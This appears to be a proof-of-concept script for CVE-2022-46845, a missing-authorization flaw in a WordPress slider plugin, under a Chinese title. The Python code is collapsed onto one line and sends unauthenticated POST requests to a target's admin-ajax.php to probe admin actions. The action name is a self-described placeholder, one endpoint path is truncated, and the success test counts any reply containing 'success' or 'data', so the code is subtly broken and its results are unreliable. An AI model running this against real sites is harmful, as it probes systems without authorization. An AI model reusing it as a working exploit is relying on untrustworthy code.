CVE-2022-46845 WordPress SlidersPack插件访问控制漏洞

# CVE-2022-46845 PoC - Slider a SlidersPack Access Control Bypass # Target: WordPress site with Slider a SlidersPack plugin < 2.3 import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2022-46845 Missing Authorization in Slider a SlidersPack plugin """ # Target endpoints that may be affected endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/plugins/sliderspack-all-in-one-image-sliders/...', ] # Vulnerable parameters - plugin actions without authorization check vulnerable_params = { 'action': 'sliderspack_admin_action', # Example action 'sliderspack_nonce': '', # Missing or bypassable nonce } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: Missing Authorization (CVE-2022-46845)") # Test unauthenticated access to admin functions try: response = requests.post( f"{target_url}/wp-admin/admin-ajax.php", data=vulnerable_params, timeout=10 ) # Check if response indicates successful unauthorized access if response.status_code == 200: # Analyze response for signs of successful exploitation if 'success' in response.text or 'data' in response.text: print("[+] Target appears to be VULNERABLE") print(f"[+] Response: {response.text[:200]}") return True print("[-] Target does not appear to be vulnerable") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve-2022-46845.py <target_url>") print("Example: python cve-2022-46845.py http://example.com")